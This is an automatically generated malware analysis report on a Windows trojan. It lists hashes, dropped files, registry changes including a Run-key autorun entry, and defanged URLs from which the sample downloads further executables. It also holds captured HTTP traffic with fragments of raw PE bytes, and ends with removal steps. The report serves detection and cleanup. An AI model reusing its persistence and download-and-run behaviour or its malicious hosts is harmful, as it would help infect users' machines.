HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.GenericKD.4404831 (B) (Emsisoft), Trojan.GenericKD.4404831 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Trojan
The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.
Summary
MD5: a2029b6ffc8fa95119c266c44e8bcc9d
SHA1: 862f13010676bfc6d96997a82450d96254f1ce5e
SHA256: 1fdd14816d281f56c3eb3ae15e35420e89a3717a0efef52b42752773b8ee3691
SSDeep: 49152:hMTwFS8hjz4bDnlrp/7/cO0AGvS5RCUGe:MRCU
Size: 2407936 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company: Search Module Ltd.
Created at: 2017-02-15 13:06:45
Analyzed on: Windows7 SP1 32-bit
Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).
Dynamic Analysis
Payload
No specific payload has been found.
Process activity
The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):
%original file name%.exe:3964
ShVCt4TyZb.exe:3668
Mutexes
The following mutexes were created/opened:No objects were found.
File activity
The process %original file name%.exe:3964 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)
The process ShVCt4TyZb.exe:3668 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes)
Registry activity
The process %original file name%.exe:3964 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\CasterDate]
"date" = "14/03/2017"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"ConsoleTracingMask" = "4294901760"
[HKCU\Software\Microsoft\wewewe]
"partner" = "tuto"
"Product" = "diskpower"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\wewewe]
"channel" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"MaxFileSize" = "1048576"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"FileDirectory" = "%windir%\tracing"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableConsoleTracing" = "0"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASAPI32]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\a2029b6ffc8fa95119c266c44e8bcc9d_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
The Trojan deletes the following value(s) in system registry:
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"
The process ShVCt4TyZb.exe:3668 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableConsoleTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"EnableConsoleTracing" = "0"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"MaxFileSize" = "1048576"
"EnableFileTracing" = "0"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"MaxFileSize" = "1048576"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"ConsoleTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"
[HKLM\SOFTWARE\Microsoft\Tracing\ShVCt4TyZb_RASMANCS]
"FileDirectory" = "%windir%\tracing"
To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe"
Dropped PE files
MD5 | File path |
---|---|
6372344ac817305964e0b5776bf69137 | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe |
28b8705b42a49a6a45270618d855059a | c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe |
HOSTS file anomalies
No changes have been detected.
Rootkit activity
No anomalies have been detected.
Propagation
Removals
Remove it with Ad-Aware
- Click (here) to download and install Ad-Aware Free Antivirus.
- Update the definition files.
- Run a full scan of your computer.
Manual removal*
- Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
- Delete the original Trojan file.
- Delete or disinfect the following files created/modified by the Trojan:
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe (63001 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZbSXmx5SRn4r.exe (43686 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\cast.config (37 bytes) - Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"26QROWG5JJ" = "C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ShVCt4TyZb.exe" - Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
- Reboot the computer.
Static Analysis
VersionInfo
Company Name:
Product Name: 3UOB7KSTU
Product Version: 3.7.5.1
Legal Copyright: Copyright (c) 3916
Legal Trademarks:
Original Filename: Ik76tttZ.exe
Internal Name: Ik76tttZ.exe
File Version: 3.7.5.1
File Description: 3UOB7KST
Comments: 3UOB7
Language: English (United States)
Company Name: Product Name: 3UOB7KSTUProduct Version: 3.7.5.1Legal Copyright: Copyright (c) 3916Legal Trademarks: Original Filename: Ik76tttZ.exeInternal Name: Ik76tttZ.exeFile Version: 3.7.5.1File Description: 3UOB7KSTComments: 3UOB7Language: English (United States)
PE Sections
Name | Virtual Address | Virtual Size | Raw Size | Entropy | Section MD5 |
---|---|---|---|---|---|
.text | 8192 | 2160032 | 2160128 | 4.16928 | d1ba8e7345f00a75c3117e91df1cda34 |
.rsrc | 2170880 | 246320 | 246784 | 4.77166 | f5a33259a79e6e3c7acb742dcf36a83a |
.reloc | 2424832 | 12 | 512 | 0.070639 | 51d7087be747d77035adf1496d5d6560 |
Dropped from:
Downloaded by:
Similar by SSDeep:
Similar by Lavasoft Polymorphic Checker:
Network Activity
URLs
URL | IP |
---|---|
hxxp://asiasoftwaretools.com/get/4/remote.exe | 94.23.252.37 |
hxxp://asiasoftwaretools.com/get/3/wizzcaster_v2.exe | 94.23.252.37 |
hxxp://wizzcaster.com/api/v5/config | 176.31.252.54 |
hxxp://wizzcaster.com/api/v5/link | 176.31.252.54 |
teredo.ipv6.microsoft.com | 157.56.120.207 |
dns.msftncsi.com | 131.107.255.255 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /get/3/wizzcaster_v2.exe HTTP/1.1
Host: asiasoftwaretools.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 14 Mar 2017 13:29:13 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="wizzcaster_v2.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
e0000..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...F..X.........."...0..$..........VB... ...`....@.. .......................`............@..................................B..O....`.......................@.......@............................................... ............... ..H............text...\"... ...$.................. ..`.rsrc........`.......&..............@..@.reloc.......@......................@..B................8B......H....... $..............,7...............................................(....(....*.r...p*..0..>.......r/..p(......(......!...%..|.o.........(.......(....(....(....*...0..C.......r...p(......~....o..........o......r...po.......#....o.....r...po..... .....#....o.....r...po.......'....o.....r...po.......(....o.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po.....(.....(....o......!...%..,.o......(.....o.....r/..p~....o...........o....t......o .....o!...("....(.........io#...o....*..0..k........(.....s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o*....(.....o.........,..o*......*.......7..E..........Q^.......0..3............( ...rO..po,..........%...%.(.....o....&..&..*.........//............( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z.......%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...
<<< skipped >>>
GET /get/4/remote.exe HTTP/1.1
Host: asiasoftwaretools.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Tue, 14 Mar 2017 13:29:13 GMT
Server: Apache/2.4.10 (Debian)
Cache-Control: no-cache
content-disposition: attachment; filename="remote.exe"
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/x-msdownload
a0e00..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...S..X.........."...0..2...........P... ...`....@.. .......................`............@.................................DP..O....`.......................@.......O............................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc.......@......................@..B................xP......H....... $..............,7...............................................(....(....*.r...p*..0..>.......r/..p(......(......!...%..|.o.........(.......(....(....(....*...0..C.......r...p(......~....o..........o......r...po.......#....o.....r...po..... .....#....o.....r...po.......'....o.....r...po.......(....o.....r!..po.....(.....(....o......!...%..,.o......(.....o.....r'..po.....(.....(....o......!...%..,.o......(.....o.....r/..p~....o...........o....t......o .....o!...("....(.........io#...o....*..0..k........(.....s$......(%........i.Yo&....,......jo'.....s(.........io)...&...,..o*....(.....o.........,..o*......*.......7..E..........Q^.......0..3............( ...rO..po,..........%...%.(.....o....&..&..*.........//............( ...rs..po,..........%...o....&*..(....(....%-.r...ps-...z.......%...o....&*..0..&.......(.....o/.....s0...%o1.....o2...o3....*..(4...*.~....-.r...p.....( ...o5...s6........~....*.~....*.......*.~....*..(7...*Vs....(8...t.........*......( ...r...po,..........%...o...
<<< skipped >>>
POST /api/v5/config HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: wizzcaster.com
Content-Length: 38
Expect: 100-continue
Connection: Keep-Alive
HTTP/1.1 100 Continue
....
Map
The Trojan connects to the servers at the folowing location(s):
Strings from Dumps
ShVCt4TyZb.exe_3668_rwx_002E2000_00002000:
0/4/ /$/
0/4/ /$/